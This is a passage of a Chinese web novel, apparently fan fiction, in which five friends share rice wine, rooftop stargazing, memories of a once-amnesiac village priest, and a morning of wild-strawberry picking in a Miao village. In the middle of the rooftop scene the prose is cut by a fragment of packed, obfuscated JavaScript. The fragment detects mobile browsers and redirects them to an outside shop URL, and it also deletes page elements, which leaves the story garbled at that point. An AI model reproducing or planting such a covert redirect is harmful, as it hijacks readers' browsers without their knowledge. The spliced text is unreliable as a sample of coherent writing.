太阳渐渐升高，云雾慢慢散去，盘山公路的尽头，隐约能看到苗寨的吊脚楼错落有致地分布在山坡上，寨口的老榕树依旧枝繁叶茂，沈司南腰间的铜铃声，似乎已经顺着风，传到了陈杬祝的耳边。 她知道，等待她的，不仅有苗岭的风，寨里的酒，还有最好的朋友，最爱的人，和一段最惬意的时光。 而那条@绫司司的微博，早已成为粉丝们心中的又一段友情佳话。大家都在期待着，陈杬祝和绫司司在苗寨的快乐日常，期待着那个温柔的女孩，在她最爱的地方，度过一段最美好的假期。 绫司司是坐着最早一班高铁赶去苗寨的，双肩包塞得鼓鼓囊囊，里面装着给陈杬祝带的零食，给沈司南带的新绣帕，还有她特意买的苗银小坠子。高铁一路向南，窗外的风景从城市的高楼变成连绵的青山，空气里的湿气渐渐重了起来，带着草木与泥土的清新气息，那是独属于苗岭的味道。 下了高铁，换乘当地的小巴车，沿着盘山公路一路向上。车窗外，云雾在山腰缠绕，吊脚楼的飞檐偶尔从绿树间探出头来，腰间挂着铜铃的苗家姑娘背着竹篓从路边走过，清脆的笑声随着风飘进车厢。绫司司扒着车窗，眼睛亮得像藏了星星，指尖在玻璃上轻轻画着苗寨的轮廓——她不是第一次来，却每次都像初见般心动。 小巴车在寨口的老榕树下停下时，远远就看到两个身影站在那里。陈杬祝穿着一身素色的棉麻长裙，头发松松地挽着，脚上是一双绣着缠枝纹的苗家布鞋，正踮着脚朝这边望。她身边的江殇则是一身简单的休闲装，手里拎着陈杬祝的小背包，目光温柔地落在她身上。 “杬祝！”绫司司几乎是跳下车的，双肩包都没来得及放下，就朝着陈杬祝的方向冲了过去。 陈杬祝笑着迎上去，两人紧紧地抱在一起，裙摆被风掀起小小的弧度。“慢点跑，小心摔了。”她的声音里满是笑意，指尖轻轻拍着绫司司的后背，“一路累了吧？” “不累！一点都不累！”绫司司抬起头，眼眶微微泛红，却笑得格外灿烂，“一想到要见你，我连觉都没睡好！” 江殇站在一旁，看着两人相拥的模样，嘴角扬起一抹温和的笑意。他主动接过绫司司的双肩包，声音里带着恰到好处的客气与熟稔：“一路辛苦，司司。沈司南已经在寨里等着了，说米酒都温好了。” 提到沈司南，绫司司的眼睛更亮了。她拉着陈杬祝的手，蹦蹦跳跳地往寨里走，嘴里叽叽喳喳地说着话：“杬祝，你都不知道，我为了赶回来，昨天晚上收拾行李到半夜！还有这个，给你带的你最爱的芒果干，我排了好久的队才买到的！” 陈杬祝任由她拉着自己走，听着她的碎碎念，心里暖暖的。这段时间拍《见笑》的疲惫，似乎在见到绫司司的那一刻，就烟消云散了。 寨子里的路是青石板铺成的，被岁月磨得光滑发亮。路边的吊脚楼里，苗家阿婆正坐在门口织着苗绣，看到陈杬祝和绫司司，笑着朝她们挥了挥手，用带着口音的普通话喊道：“杬祝，司司，回来啦！” “阿婆好！”两人异口同声地回应着，声音清脆得像山涧的泉水。 走到沈司南的吊脚楼前时，铜铃声先一步传了过来。沈司南站在楼前的晒谷场上，依旧是一身深色的苗绣长衫，腰间的铜铃随着他的动作轻轻晃动。他的身边，放着一个小小的竹桌，桌上摆着一壶温好的米酒，还有几碟苗家特色的小菜。 “司司，你可算来了。”沈司南的声音里带着一丝笑意，眉眼间的肃穆淡了许多，“再晚一点，米酒都要凉了。” “沈司南！”绫司司松开陈杬祝的手，跑到沈司南身边，将背包里的绣帕递给他，“你看，这是我新学的苗绣，绣的是苗岭的缠枝纹，好看吗？” 沈司南接过绣帕，指尖轻轻摩挲着上面细密的针脚，点了点头：“好看。比寨里的阿婆绣得都好。” 绫司司得意地扬起下巴，笑得像只偷了腥的小猫。 四人坐在晒谷场的竹桌旁，沈司南给每个人都倒了一杯米酒。酒液清冽，带着淡淡的糯米香，喝进嘴里，暖融融的，从喉咙一直暖到心底。 绫司司喝了一口米酒，夹起一筷子酸汤鱼，满足地眯起了眼睛：“还是苗寨的菜好吃！城里的那些山珍海味，都比不上沈司南你做的酸汤鱼！” 沈司南只是笑，又给她夹了一块鱼排：“喜欢就多吃点。寨里的鱼塘里，还有很多鱼。” 陈杬祝靠在江殇的肩膀上，看着绫司司和沈司南说笑的模样，看着远处连绵的青山，看着身边温柔的江殇，嘴角挂着淡淡的笑意。 这里没有聚光灯，没有闪光灯，没有剧本和台词，只有最纯粹的快乐和最真挚的情谊。 “对了，杬祝。”绫司司突然放下筷子，眼睛亮晶晶地看着陈杬祝，“明天我们去采野草莓吧？我记得后山的野草莓都熟了，又大又甜！” “好啊。”陈杬祝点了点头，眼底满是笑意，“我还想和你一起去看寨里的老祭司，听他讲苗寨的故事。” “还有还有！”绫司司掰着手指头数着，“我们还要去河边洗衣服，去阿婆家学苗绣，去山顶看日出！” “都依你。”陈杬祝笑着答应下来。 江殇伸手握住她的手，指尖轻轻摩挲着她的手背：“我陪你们一起去。” 沈司南也点了点头：“我给你们带路。后山的路不好走，我熟。” 夕阳渐渐西下，将苗寨的吊脚楼染成了温暖的橘红色。云雾从山腰慢慢升起，将青山笼罩在一片朦胧之中。晒谷场上，四人的笑声随着风飘向远方，和沈司南腰间的铜铃声，和寨里阿婆的织布声，和山涧的流水声，交织在一起，谱成了一曲最动听的苗岭之歌。 绫司司靠在陈杬祝的肩膀上，看着天边的晚霞，轻声道：“杬祝，我真希望时间能停在这一刻。” 陈杬祝轻轻拍了拍她的手背，声音温柔而坚定：“会的。只要我们在一起，每一刻都是美好的。” 夜色渐深，苗寨渐渐安静下来。只有偶尔传来的铜铃声，和远处的狗吠声，打破了夜的寂静。 绫司司躺在陈杬祝身边的竹床上，听着她平稳的呼吸声，嘴角挂着甜甜的笑容。她知道，这段苗寨之行，将会是她和陈杬祝之间，最珍贵的回忆。 而明天，还有更多的快乐和惊喜，在等着她们。 傍晚的风带着苗岭特有的湿润，卷着晒谷场边野姜花的淡香，拂过沈司南吊脚楼前的竹桌。 绫司司抱着一捧刚从后山摘来的野草莓，指尖还沾着晶莹的果汁，她随手将草莓倒在竹篮里，大大咧咧地坐在竹凳上，端起面前的米酒抿了一口，突然像是发现了什么新大陆似的，转头对着身边的陈杬祝眨了眨眼。 “杬祝，你有没有觉得，现在的沈司南和许祭，简直是一个模子刻出来的冷漠啊！” 她的声音不算小，刚好让坐在对面的沈司南和身侧的江殇都听得一清二楚。沈司南正低头用帕子擦拭着腰间的铜铃，闻言动作顿了顿，抬眸看了她一眼，眼底没什么波澜，只淡淡道：“苗寨的祭祀，本就不需多言。” 江殇忍不住低笑一声，给陈杬祝的碗里夹了一块酸汤鱼，目光里带着几分了然。陈杬祝也被绫司司的话逗笑了，伸手戳了戳她的额头，“你这脑袋里，天天都在想些什么稀奇古怪的。” “本来就是嘛！”绫司司不服气地撅起嘴，掰着手指头开始细数，“我第一次见许祭的时候，他哪里是现在这个样子？话多得很，跟在你身后叽叽喳喳的，比我还能说！结果现在呢？发消息永远是‘好’‘知道了’‘已安排’，三句话以内必结束对话，比沈司南的铜铃还惜字如金。” 她顿了顿，又将目光投向沈司南，语气里带着几分“恨铁不成钢”，“还有沈司南！你以前虽然话不多，但至少会跟我们讲苗寨的故事，会笑着看我们采野果、学苗绣。现在倒好，除了必要的话，剩下的全靠铜铃响，我刚才跟你说后山的野草莓熟了，你就只回了我一个‘嗯’！” 沈司南擦拭铜铃的手停了下来，他抬眸看向绫司司，眼神里似乎多了一丝不易察觉的无奈，“寨里的事多，祭祀的职责本就沉重。” “职责沉重就可以变成闷葫芦吗？”绫司司哼了一声，端起米酒又喝了一口，“你俩现在站在一起，那气场，能把苗岭的风都冻住！一个是苗寨祭祀，沉默是金，一个是金牌助理，言简意赅，合着现在话多的人，就只剩我和江殇了？” 江殇闻言，挑了挑眉，浅笑道：“我倒是觉得，这样挺好。司南的沉默里，藏着对苗寨的守护；许祭的话少里，藏着对杬祝的支持。他们的心意，从来都不是靠话语来表达的。” 陈杬祝深以为然地点了点头，她想起许祭每次在她遇到困难时，总是默默帮她处理好一切，从不多言；想起沈司南当年为了驱散瘴气，燃尽半载阳寿，也只是淡淡一句“这是我的职责”。 “江殇说得对。”陈杬祝握住绫司司的手，声音温柔，“许祭不是话少了，是他把所有的关心，都藏进了行动里；沈司南也不是冷漠了，他的温柔，都给了苗寨和我们这些朋友。” 绫司司愣了愣，低头看着自己掌心的野草莓果汁，突然噗嗤一声笑了出来。“好像也是哦。”她挠了挠头，“许祭虽然话少，但每次我的行程他都安排得妥妥当当；沈司南虽然沉默，但每次我们来苗寨，他都提前温好了米酒，准备好了小菜。” 沈司南看着她恍然大悟的模样，嘴角终于勾起一抹极淡的弧度，他轻轻晃动了一下腰间的铜铃，清脆的铃声在暮色中响起，“米酒还温着，喜欢就多喝两杯。” 绫司司眼睛一亮，立刻举起酒杯，“好啊好啊！沈司南，你这杯得敬我，敬我发现了你和许祭的‘同款冷漠’！” 沈司南没有拒绝，端起面前的酒杯，与她轻轻一碰。酒液清冽，带着糯米的甜香，顺着喉咙滑入心底，暖融融的。 暮色渐浓，苗岭的星星渐渐亮了起来，挂在墨蓝色的天幕上，像一颗颗碎钻。晒谷场上的竹桌旁，四人的笑声随着风飘向远方，沈司南腰间的铜铃偶尔响起，清脆的铃声与笑声交织在一起，竟丝毫没有绫司司口中的“冻人气场”，反而带着一种别样的温馨与和谐。 绫司司靠在陈杬祝的肩膀上，看着天边的星星，突然轻声道：“其实这样也挺好的。冷漠的沈司南，话少的许祭，温柔的杬祝，爱笑的我，还有体贴的江殇。我们这样的组合，才是最特别的。” 陈杬祝低头看她，眼底满是笑意，“是啊，最特别的我们。” 晚风卷着野姜花的香气，漫过吊脚楼的栏杆，落在陈杬祝和绫司司交叠的手背上。两人并肩坐在竹凳上，面前的竹篮里还剩着几颗没吃完的野草莓，汁水在月光下泛着淡淡的红。 绫司司的声音比平时低了许多，带着一丝不易察觉的怅然，她指尖轻轻拨弄着竹篮里的草叶，忽然开口：“杬祝，我刚才说沈司南冷漠，其实……我是想那个失忆的沈司南了。” 陈杬祝的身子微微一僵，垂在身侧的手缓缓收紧。她抬头望向远处的青山，云雾像轻纱一样缠绕在山腰，记忆里那个叫阿怨的少年，突然就清晰地浮现在眼前。 那个时候的沈司南，还不是苗寨沉稳肃穆的祭祀，他失去了所有记忆，只被寨里的老人唤作阿怨。他会跟着她们一起去后山采野草莓，笨手笨脚地被刺扎到手指，却还是把最大最甜的那颗塞到绫司司手里；他会坐在晒谷场上，听陈杬祝讲外面的世界，眼睛亮得像苗岭的星星，嘴里还会不停地问“真的吗”“那是什么样子”；他甚至会跟着寨里的孩子一起唱山歌，跑调跑得厉害，却笑得比谁都开心。 “我也想。”陈杬祝的声音带着一丝哽咽，她转头看向绫司司，眼底蒙着一层薄薄的水雾，“想那个会对着野草莓流口水的阿怨，想那个会因为跑调被我们笑话，却依旧不肯停下的阿怨，想那个眼里没有祭祀的责任，只有纯粹快乐的阿怨。” 绫司司的眼眶瞬间红了，她用力点了点头，声音里带着哭腔：“那个时候的他，哪里有半分现在的冷漠？他会跟我们说很多很多话，会因为我们一句夸奖而开心一整天，会在我们生病的时候，笨手笨脚地熬药，守在我们身边一夜不睡。” “可他恢复记忆的那一刻，阿怨就消失了。”陈杬祝的声音轻轻的，像一阵风，“他变回了沈司南，变回了那个肩负着苗寨所有责任的祭祀。他的话少了，笑容也少了，眼里的星星，也变成了沉甸甸的守护。” 绫司司吸了吸鼻子，伸手抹掉眼角的泪水：“我知道，恢复记忆对他来说是好事，他终于知道自己是谁，终于能扛起祭祀的责任。可是我还是忍不住会想，如果他永远是阿怨就好了。那样的话，他就不用承受那么多的压力，不用把所有的情绪都藏在心底，不用变成现在这个连话都舍不得多说一句的沈司南。” 陈杬祝轻轻拍着她的后背，眼底的泪水终于滑落。她何尝不是这样想过？可是她比谁都清楚，阿怨只是沈司南生命里的一段插曲，而沈司南，才是他注定要成为的人。 “阿怨的存在，是沈司南生命里最轻松的一段时光。”陈杬祝的声音带着一丝感慨，“而沈司南的冷漠，是他为了守护苗寨，不得不戴上的面具。” 就在这时，沈司南的声音从她们身后传来，带着一丝沙哑：“我没有忘记。” 两人猛地回头，看到沈司南站在吊脚楼的门口，身上的苗绣长衫在月光下泛着淡淡的光泽，腰间的铜铃轻轻晃动，发出清脆的响声。他的眼底不再是往日的肃穆，而是带着一丝不易察觉的温柔，还有一丝愧疚。 “我没有忘记，我是阿怨的日子。”沈司南缓步走到她们面前，声音轻轻的，“我没有忘记，我们一起采过的野草莓，一起唱过的山歌，一起熬过的药。那些日子，是我生命里最珍贵的回忆。” “那你为什么……”绫司司的话还没说完，就被沈司南打断了。 “因为我是沈司南，是苗寨的祭祀。”沈司南的声音里带着一丝无奈，“我不能再像阿怨那样，只顾着自己的快乐。我要守护寨里的每一个人，要扛起属于我的责任。我的沉默，我的冷漠，都是为了让苗寨的人，能够安心地生活。” 他顿了顿，目光落在陈杬祝和绫司司的身上，眼底的温柔渐渐浓了起来：“但是对你们，我永远是那个可以一起采野草莓，一起唱山歌的阿怨。” 说完，他轻轻晃动了一下腰间的铜铃，清脆的铃声在暮色中响起，像是在回应着她们的思念。 陈杬祝和绫司司对视一眼，都从对方的眼底看到了惊喜。她们站起身，紧紧地抱住了沈司南，泪水再次滑落，却带着满满的喜悦。 “沈司南！” “阿怨！” 两人的声音交织在一起，带着浓浓的情谊。 江殇站在不远处，看着相拥的三人，嘴角扬起一抹温和的笑意。他知道，无论沈司南是祭祀，还是阿怨，他永远是陈杬祝和绫司司最珍贵的朋友。 晚风依旧，野姜花的香气依旧，苗岭的星星依旧。只是这一刻，晒谷场上的气氛，却变得格外温馨。 沈司南轻轻拍着两人的后背，声音里带着一丝笑意：“好了，别哭了。米酒还温着，野草莓也还甜着。我们一起，像以前一样，喝喝酒，吃吃草莓，好不好？” “好！”绫司司率先破涕为笑，她拉着陈杬祝和沈司南的手，朝着竹桌走去，“今天我们不醉不归！” 陈杬祝也笑着点了点头，眼底的泪水早已被喜悦取代。 四人再次坐在竹桌旁，沈司南给每个人都倒了一杯米酒。酒液清冽，带着糯米的甜香，喝进嘴里，暖融融的。 绫司司端起酒杯，看着沈司南，大声道：“沈司南！不对，阿怨！敬我们最珍贵的回忆！” 沈司南端起酒杯，与她轻轻一碰，眼底的笑意越来越浓：“敬我们最珍贵的回忆。” 陈杬祝和江殇也端起酒杯，四人的酒杯碰在一起，发出清脆的响声。 月光下，四人的笑声随着风飘向远方，与沈司南腰间的铜铃声交织在一起，谱成了一曲最动听的苗岭之歌。 陈杬祝知道，无论时光如何流转，无论沈司南是祭祀还是阿怨，他们之间的情谊，永远都不会改变。而那个叫阿怨的少年，也永远活在他们的记忆里，活在他们的心中。 竹楼的屋顶铺着青灰色的瓦片，被苗岭的月光晒得暖融融的。陈杬祝和绫司司并肩坐着，裙摆垂在屋檐下，晃啊晃的，像两尾悠闲的鱼。江殇坐在陈杬祝身侧，手臂轻轻环着她的肩，替她挡着偶尔吹过的山风。沈司南背靠着屋脊，腰间的铜铃安静地贴着衣料，没有一丝声响。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037618|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而许祭，就坐在沈司南身侧的空位上。他没有像平时那样穿一身笔挺的西装，只着一件简单的白色棉麻衬衫，袖口随意地挽到小臂，露出线条干净的手腕。他手里捏着一个小小的米酒杯，酒液在月光下泛着淡淡的光泽，目光偶尔扫过身边的沈司南，眼底藏着几分不易察觉的默契。 夜凉如水，星星缀满了墨蓝色的天幕，远处的青山隐在云雾里，只露出淡淡的轮廓。寨子里的狗吠声早已歇了，只有山涧的流水声，和风吹过竹林的沙沙声，在夜色里轻轻流淌。 绫司司先是晃了晃手里的米酒葫芦，喝了一口，才长长地舒了一口气，声音里带着几分慵懒的感慨：“真没想到，我们五个人还能像这样，一起坐在苗寨的屋顶上看星星。小时候总觉得，人生该是轰轰烈烈的，要去很远的地方，见很多的人，做很多惊天动地的事。可现在才发现，最舒服的，还是这样安安静静的时光。” 陈杬祝轻轻点头，指尖划过瓦片上的纹路，眼底盛着月光：“我以前也是。拍第一部戏的时候，总想着要快点红，要拿最高的奖项，要让所有人都认识我。可后来拍了《许你金耀》，又演了秋含香，才慢慢明白，人生最珍贵的，不是聚光灯下的荣耀，而是身边有一群可以放心依靠的人。” 她转头看向江殇，又扫过绫司司、沈司南，最后落在许祭身上，眼底的温柔几乎要溢出来：“就像现在，有你在身边，有司司、沈司南和许祭陪着，哪怕只是坐着不说话，也觉得很幸福。” 江殇低头，在她的额头上印下一个轻柔的吻，声音低沉而温柔：“对我来说，最好的人生，就是陪在你身边，看你演喜欢的角色，过喜欢的生活。以后无论你想去哪里，想做什么，我都陪着你。” 绫司司在一旁故意咂了咂嘴，假装吃醋道：“喂喂喂，注意点啊，这里还有三个单身的呢！”话虽如此，她的眼底却满是笑意，“不过说真的，我以后想在苗寨旁边盖一座小房子，种满野姜花，养几只鸡，几只鸭。每天早上被鸟鸣叫醒，白天和杬祝一起去采野果，晚上就坐在屋顶上看星星。” 她说着，转头看向沈司南，又拍了拍许祭的胳膊，声音软了下来：“沈司南，不对，阿怨。还有许祭！你们以后可不能总是冷冰冰的了。就算沈司南是苗寨的祭祀，许祭是忙得脚不沾地的金牌助理，也要记得抽时间陪我们喝酒，陪我们看星星。” 沈司南抬眸，目光落在绫司司身上，又缓缓扫过众人，眼底的肃穆渐渐被温柔取代。他轻轻晃动了一下腰间的铜铃，清脆的铃声在夜色里响起，像是在回应绫司司的话：“苗寨是我的根，你们是我的牵挂。以后无论寨里的事多忙，我都会留着时间，等你们回来，陪你们喝酒，陪你们看星星。” 许祭终于动了动，将杯中的米酒轻轻抿了一口，清冽的酒液滑过喉咙。他侧头看了一眼身边的沈司南，眼底突然闪过一丝促狭的笑意，声音依旧清淡，却带着几分调侃的意味：“这话可不对。我和司南可是一起的，算不得单身。这么说来，只有绫司司你，是唯一的单身狗哦。” 这话一出，屋顶上瞬间安静了一瞬，随即爆发出一阵笑声。 绫司司先是一愣，反应过来后立刻涨红了脸，伸手就去拍许祭的胳膊，嘴里嗔怪道：“许祭！你什么时候也学会调侃人了！什么叫你和司南是一起的？你们俩明明就是两个闷葫芦凑一块儿了！” 陈杬祝靠在江殇怀里，笑得肩膀都在抖。江殇也忍不住低笑，伸手轻轻拍着她的背，眼底满是宠溺。 沈司南看着许祭，嘴角也勾起一抹极淡的弧度，他轻轻晃动腰间的铜铃，铃声清脆，像是在附和许祭的话：“许祭说得没错。我们都有自己要守护的东西，也有彼此的默契，确实不算孤身一人。” “你们！你们这是联合起来欺负我！”绫司司气鼓鼓地撅着嘴，却忍不住笑出了声。她举起米酒葫芦，对着许祭和沈司南扬了扬，“我不管！反正以后你们俩来苗寨，都得陪我喝酒！许祭你要给我讲外面的新鲜事，沈司南你要给我唱苗寨的山歌！少一个都不行！” 许祭端起酒杯，对着她举了举，声音里带着几分笑意：“好。只要你在苗寨，我每次来，都给你带外面的特产，给你讲新鲜事。” 沈司南也点了点头，铜铃轻响：“山歌也可以。不过我唱得不好，你可不能笑我。” “我才不笑呢！”绫司司立刻喜笑颜开，转头看向陈杬祝，“杬祝你看，他们俩都答应我了！” 陈杬祝笑着点头，眼底的温柔快要溢出来：“我看到了。以后我们回苗寨，一定热热闹闹的。” “许祭，”陈杬祝的声音轻轻的，带着一丝怀念，“你还记得吗？我第一次见你的时候，你还是个话多得很的实习生，跟在我身后叽叽喳喳，比司司还能说。那时候我还嫌你烦，没想到，后来你却成了我最离不开的人。” 许祭的嘴角勾起一抹极淡的弧度，像是想起了什么有趣的事：“记得。你那时候拍一场哭戏，怎么都进不了状态，急得直掉眼泪。我跟你说，想想你最珍贵的东西，想想你最想守护的人。结果你真的哭了，哭得比剧本里还要动人。” “那你还记得吗？”绫司司突然眼睛一亮，声音里带着几分雀跃，“沈司南失忆的时候，我们第一次一起坐在屋顶上。那天他摘了很多野草莓，结果全被我和杬祝吃完了，他还委屈地红了眼睛，说我们欺负他。许祭你当时还特意跑下山，给我们买了一大袋糖果，说哄阿怨开心。” 陈杬祝也笑了，记忆的闸门瞬间被打开：“我记得！还有一次，我们偷偷跑出去看萤火虫，结果迷路了，还是沈司南凭着感觉，把我们带了回来。许祭当时急得快要报警，看到我们平安回来，他第一次对我们发了火，却又转身去给我们熬了姜汤。” “我也记得。”沈司南的声音轻轻的，带着一丝怀念，“我记得你们给我取的名字，阿怨。我记得你们教我唱的山歌，记得你们给我熬的药，记得许祭给我买的糖果。那些日子，是我生命里最温暖的光。” “后来沈司南恢复了记忆，变回了苗寨的祭祀，许祭也从话多的实习生，变成了沉默寡言的金牌助理。”绫司司的声音低了下去，“我们都以为，你们会忘记过去的一切，忘记我们一起度过的时光。可是你们没有，你们只是把那些记忆，藏在了心底最深处。” “从来没有忘记过。”沈司南和许祭异口同声地说道，声音里带着一丝坚定。 沈司南轻轻晃动铜铃，铃声清脆：“阿怨是我，沈司南也是我。阿怨的快乐，是我生命里的宝藏；沈司南的责任，是我必须扛起的担当。而你们，是连接阿怨和沈司南的纽带，是我永远的朋友。” 许祭则是端起酒杯，对着陈杬祝举了举：“我从不是话少，只是知道，有些关心，不需要用语言来表达。你演的每一个角色，我都认真看过；你走的每一步路，我都默默陪着。对我来说，守护你的星光，就是我人生最重要的事。而司南，”他侧头看了一眼沈司南，“我们是同类，都懂什么叫沉默的守护。” 江殇看着他们四人回忆过往的模样，嘴角扬起一抹温和的笑意：“人生就是这样，有欢笑，有泪水，有回忆，有期待。我们无法留住过去的时光，却可以珍惜现在的每一刻，期待未来的每一次相遇。” “是啊。”陈杬祝靠在江殇的怀里，声音温柔而坚定，“以后我想多拍一些好的作品，用演技去诠释更多的角色，去传递更多的温暖。等我累了，就回苗寨，和司司一起盖小房子，和沈司南一起喝酒，和许祭一起聊聊工作，和你一起看星星。” “我等你。”江殇的声音里满是宠溺。 “我也等你！”绫司司举起米酒葫芦，“以后我就是苗寨的‘常驻居民’了，你们随时回来，我都在！” 沈司南轻轻晃动铜铃，铃声清脆：“苗寨的门，永远为你们敞开。米酒永远温着，野草莓永远甜着。” 许祭点了点头，声音清淡却坚定：“你的身后，永远有我。司南也是。无论何时，无论何地。” 夜色渐深，山风带着凉意，却吹不散屋顶上的温馨。五人坐在青灰色的瓦片上，看着天上的星星，说着过往的回忆，聊着未来的期许，说着很多很多的话。 他们说陈杬祝以后拿影后的样子，说绫司司种满野姜花的小房子，说沈司南不再冷漠的笑容，说许祭偶尔露出的温柔，说江殇永远不变的陪伴。他们说阿怨的野草莓，说秋含香的木簪，说华胥的金刃，说许祭熬夜做的行程表，说那些一起走过的，或轰轰烈烈，或平平淡淡的时光。 没有人去看时间，也没有人想离开。仿佛这一刻，时间已经静止，而他们的情谊，会像苗岭的青山一样，永远屹立，像天上的星星一样，永远闪亮。 陈杬祝抬头看向星空，眼底闪烁着泪光，却笑得格外灿烂。她知道，无论未来的路有多远，无论人生会有多少风雨，只要身边有这些人，她就永远不会孤单。 而那些美好的回忆，那些对未来的期许，都会像这苗岭的月光一样，温柔地笼罩着他们，陪伴他们走过人生的每一个春夏秋冬。 天刚蒙蒙亮，苗岭的晨雾就像一层薄纱，轻轻笼住了错落的吊脚楼和连绵的青山。屋顶的青瓦上凝着密密麻麻的露珠，沾湿了陈杬祝垂在檐下的发梢，也打湿了她身上的素色长裙。 她是被颈间的凉意惊醒的，意识回笼的瞬间，只觉得浑身僵硬，连动一下手指都带着酸痛。身边的绫司司还睡得正香，脑袋歪在她的肩膀上，嘴角挂着浅浅的笑意，似乎还在做着采野草莓的美梦。江殇的手臂依旧稳稳地环着她的肩，胸膛的温度透过薄薄的衣料传来，成了这微凉清晨里最温暖的依靠。 而不远处的沈司南和许祭，一个背靠着屋脊闭目养神，一个单手撑着脸颊望着远方的青山，晨雾里，两人的身影都透着几分慵懒的闲适。 陈杬祝轻轻动了动肩膀，声音带着刚睡醒的沙哑，还有一丝难以置信的错愕：“不是……我们昨天在屋顶上睡着了？” 她的声音不大，却足以惊醒身边的人。绫司司迷迷糊糊地睁开眼睛，先是茫然地看了看四周，待看清自己正坐在青灰色的瓦片上时，瞬间瞪大了眼睛，惊呼道：“天呐！我们真的在屋顶上睡了一整晚？！” 这一声惊呼，彻底打破了清晨的宁静。江殇缓缓睁开眼睛，低头看向怀里的陈杬祝，眼底带着几分无奈的笑意：“嗯，昨天聊得太晚，大家都累了。看你睡得香，就没舍得叫醒你。” 许祭也收回了望向青山的目光，抬手揉了揉有些僵硬的脖颈，声音依旧清淡，却带着一丝不易察觉的沙哑：“屋顶的风有点大，还好沈司南提前拿了几件薄毯过来。” 沈司南这时也睁开了眼睛，他低头看了一眼铺在瓦片上的薄毯，又抬头看向陈杬祝和绫司司，轻轻晃动了一下腰间的铜铃，清脆的铃声在晨雾里格外悦耳：“寨里的夜晚凉，薄毯能挡挡寒气。” 绫司司这才注意到，自己的腿上还盖着一条带着草木清香的薄毯，她连忙掀开毯子，摸了摸自己的后背，松了口气道：“还好还好，没有感冒！不过我的腰好像快断了，早知道就回屋里睡了！” 陈杬祝也跟着动了动身子，只觉得浑身的骨头都在叫嚣着酸痛，她靠在江殇的怀里，哭笑不得地说：“难怪我觉得浑身都僵了，原来真的在屋顶上睡了一整晚。现在想想，昨天好像聊着聊着，眼皮就越来越沉，然后就什么都不知道了。” “我也是！”绫司司立刻附和道，“我记得我还在说以后要在苗寨盖小房子，结果说着说着，就睡着了。许祭！沈司南！你们俩怎么也不叫醒我们啊！” 许祭挑了挑眉，声音里带着几分调侃：“叫了？怎么没叫？某人睡得跟小猪一样，怎么叫都叫不醒。” “你才是小猪！”绫司司立刻涨红了脸，伸手就去拍许祭的胳膊，“明明是你们俩也跟着睡着了！还好意思说我！” 沈司南看着他们打闹的模样，嘴角勾起一抹极淡的弧度，铜铃轻轻晃动：“昨晚的星星很好看，聊着天，就忘了时间。” 江殇低头，在陈杬祝的额头上印下一个轻柔的吻，声音温柔得能滴出水来：“要不要再躺一会儿？或者我抱你下去？” “不躺了不躺了！”陈杬祝连忙摇了摇头，目光看向不远处的一片草丛，眼睛瞬间亮了起来，“你看外面的雾，像不像神仙的衣裳！而且我记得，后山的野草莓这个时候应该熟了，早上的草莓最甜了！” 绫司司的注意力瞬间被转移，她也顾不得浑身的酸痛了，麻利地爬起来，站在屋顶边缘朝远处望去，声音里满是雀跃：“真的！雾好大！我们去后山采野草莓吧！许祭！沈司南！你们俩快点！昨天可是答应了要陪我去的！” 许祭闻言，抬眸看了一眼沈司南，两人相视一笑，竟难得地没有反驳。沈司南将薄毯叠好，率先起身，动作间带起的风，吹散了身边的薄雾。许祭则跟在他身后，脚步不疾不徐，还贴心地帮陈杬祝扶了一把，避免她被瓦片上的露珠滑倒。 江殇小心翼翼地抱着陈杬祝爬下屋顶，待她站稳后，才将搭在一旁的外套披在了她肩上：“山上的雾大，小心着凉。” 五人沿着青石板路往后山走，晨雾沾湿了他们的衣角和发梢，带着草木的清新气息。路边的野花顶着露珠，开得格外娇艳，偶尔有早起的苗家姑娘背着竹篓走过，看到他们，都会笑着挥挥手，用带着口音的普通话打招呼。 “你看你看！”绫司司突然停下脚步，指着不远处的一片草丛，“那里有野草莓！红红的，肯定很甜！” 她说着，就迫不及待地跑了过去，蹲下身小心翼翼地摘了一颗，擦了擦上面的露珠，就往嘴里送。“唔！好甜！”她眯起眼睛，笑得像只偷了腥的小猫，“你们快过来摘啊！” 陈杬祝和江殇相视一笑，也蹲下身开始采摘。许祭则站在一旁，细心地帮她们拨开带刺的草叶，避免她们被划伤。沈司南则走到稍远的地方，摘了一片宽大的荷叶，折成了一个简易的小篮子，递到绫司司面前。 “用这个装吧，不容易坏。”沈司南的声音轻轻的，带着晨雾的湿润。 绫司司眼睛一亮，立刻接过荷叶篮，“沈司南，你也太贴心了吧！比许祭还贴心！” 许祭闻言，挑了挑眉，伸手将一颗最大最红的野草莓递到绫司司嘴边，声音里带着几分调侃：“那这个，算不算贴心？” 绫司司毫不犹豫地张嘴咬住，含糊不清地说：“算！当然算！” 沈司南看着他们打闹的模样，嘴角勾起一抹极淡的弧度，腰间的铜铃轻轻晃动，发出清脆的响声，在晨雾里格外悦耳。 陈杬祝靠在江殇的怀里，手里捧着一颗刚摘的野草莓，看着眼前的场景，眼底满是温柔。“你看，这样的时光，真好。” “嗯。”江殇低头，在她的额头上印下一个轻柔的吻，“以后我们可以常来。” 太阳渐渐升高，晨雾慢慢散去，青山的轮廓变得清晰起来，阳光透过树叶的缝隙，洒在他们身上，形成一片片斑驳的光影。五人的竹篮和荷叶篮里，都已经装满了红彤彤的野草莓，空气中弥漫着甜甜的果香。 “我们回去吧！”绫司司拎着荷叶篮，蹦蹦跳跳地往回走，“我要让阿婆给我们做草莓糯米饭！” “好。”陈杬祝笑着点头，和江殇并肩跟在她身后。 许祭和沈司南走在最后，两人相视一眼，没有说话，却都从对方的眼底看到了一丝满足。他们是同类，都习惯了沉默的守护，却在这样的清晨，感受到了前所未有的轻松与快乐。 回到吊脚楼时，阿婆已经将糯米饭蒸好了，香气弥漫在整个屋里。绫司司迫不及待地将野草莓倒在碗里，和糯米饭拌在一起，红色的果肉和白色的糯米交织在一起，看起来格外诱人。 